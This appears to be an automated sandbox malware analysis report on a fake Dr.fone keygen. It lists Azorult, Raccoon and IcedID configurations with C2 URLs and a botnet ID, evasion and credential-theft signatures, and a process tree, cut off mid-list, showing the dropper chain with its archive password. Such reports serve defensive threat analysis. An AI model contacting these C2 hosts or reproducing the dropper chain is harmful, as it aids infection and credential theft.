Resubmissions

10-04-2021 05:28

210410-642g16c6y6 10

09-04-2021 16:57

210409-a3zwd3zjvx 10

09-04-2021 05:30

210409-4qr2p4p1m6 10

Analysis

  • max time kernel
    32s
  • max time network
    62s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10-04-2021 05:28

General

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

a6bfe7e504db71e25642b830fd9b2c4366cf882a

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Extracted

Family

icedid

Campaign

1925120085

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 7 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 10 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:380
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
      1⤵
        PID:1028
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Themes
        1⤵
          PID:1120
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s UserManager
          1⤵
            PID:1308
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1320
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
              1⤵
                PID:1100
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1848
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                  1⤵
                    PID:2240
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                    1⤵
                      PID:2264
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Browser
                      1⤵
                        PID:2452
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                        1⤵
                          PID:2500
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2488
                        • \??\c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s BITS
                          1⤵
                          • Suspicious use of SetThreadContext
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4672
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                            2⤵
                            • Checks processor information in registry
                            • Modifies data under HKEY_USERS
                            • Modifies registry class
                            PID:1796
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/30f8668638112r4p2203.html
                          1⤵
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of WriteProcessMemory
                          PID:4644
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ff9d4b56e00,0x7ff9d4b56e10,0x7ff9d4b56e20
                            2⤵
                              PID:4844
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1620 /prefetch:2
                              2⤵
                                PID:3596
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1668 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3676
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2176 /prefetch:1
                                2⤵
                                  PID:2848
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2520 /prefetch:1
                                  2⤵
                                    PID:804
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3168 /prefetch:1
                                    2⤵
                                      PID:4160
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
                                      2⤵
                                        PID:4072
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
                                        2⤵
                                          PID:3168
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
                                          2⤵
                                            PID:668
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4148 /prefetch:8
                                            2⤵
                                              PID:4336
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4452 /prefetch:8
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3208
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4800 /prefetch:8
                                              2⤵
                                                PID:4236
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5092 /prefetch:8
                                                2⤵
                                                  PID:4316
                                                • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                                  2⤵
                                                    PID:4484
                                                    • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                      "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff70e227740,0x7ff70e227750,0x7ff70e227760
                                                      3⤵
                                                        PID:2684
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:8
                                                      2⤵
                                                        PID:2724
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5408 /prefetch:8
                                                        2⤵
                                                          PID:4556
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5224 /prefetch:8
                                                          2⤵
                                                            PID:3088
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5592 /prefetch:8
                                                            2⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:520
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5656 /prefetch:8
                                                            2⤵
                                                              PID:1832
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5264 /prefetch:8
                                                              2⤵
                                                                PID:1008
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:8
                                                                2⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:364
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6360 /prefetch:8
                                                                2⤵
                                                                  PID:1624
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5724 /prefetch:8
                                                                  2⤵
                                                                    PID:4332
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6316 /prefetch:8
                                                                    2⤵
                                                                      PID:4380
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5688 /prefetch:8
                                                                      2⤵
                                                                        PID:2984
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5804 /prefetch:8
                                                                        2⤵
                                                                          PID:4504
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6500 /prefetch:8
                                                                          2⤵
                                                                            PID:228
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6612 /prefetch:8
                                                                            2⤵
                                                                              PID:2024
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:8
                                                                              2⤵
                                                                                PID:1072
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6688 /prefetch:8
                                                                                2⤵
                                                                                  PID:4548
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9c9186e00,0x7ff9c9186e10,0x7ff9c9186e20
                                                                                    3⤵
                                                                                      PID:3004
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6720 /prefetch:8
                                                                                    2⤵
                                                                                      PID:4636
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6300 /prefetch:8
                                                                                      2⤵
                                                                                        PID:3084
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6972 /prefetch:8
                                                                                        2⤵
                                                                                          PID:3984
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6988 /prefetch:8
                                                                                          2⤵
                                                                                            PID:4688
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7076 /prefetch:8
                                                                                            2⤵
                                                                                              PID:1832
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7216 /prefetch:8
                                                                                              2⤵
                                                                                                PID:4024
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6968 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:208
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7364 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:4480
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4276 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:4320
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7680 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:1564
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7656 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:4532
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7952 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:4616
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8092 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:4228
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8216 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:4440
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8360 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:4372
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8480 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:4528
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8616 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4556
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3892 /prefetch:8
                                                                                                                      2⤵
                                                                                                                        PID:3136
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3444 /prefetch:8
                                                                                                                        2⤵
                                                                                                                          PID:2620
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5740 /prefetch:8
                                                                                                                          2⤵
                                                                                                                            PID:216
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5392 /prefetch:8
                                                                                                                            2⤵
                                                                                                                              PID:4364
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                                                                                                                              2⤵
                                                                                                                                PID:1724
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6276 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                  PID:4092
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3168 /prefetch:8
                                                                                                                                  2⤵
                                                                                                                                    PID:1292
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,8928988526805166125,4205762371744972276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5448 /prefetch:8
                                                                                                                                    2⤵
                                                                                                                                      PID:2312
                                                                                                                                  • C:\Windows\System32\rundll32.exe
                                                                                                                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                    1⤵
                                                                                                                                      PID:1068
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe"
                                                                                                                                      1⤵
                                                                                                                                        PID:4852
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                          2⤵
                                                                                                                                            PID:1520
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                              keygen-pr.exe -p83fsase3Ge
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1392
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:3788
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
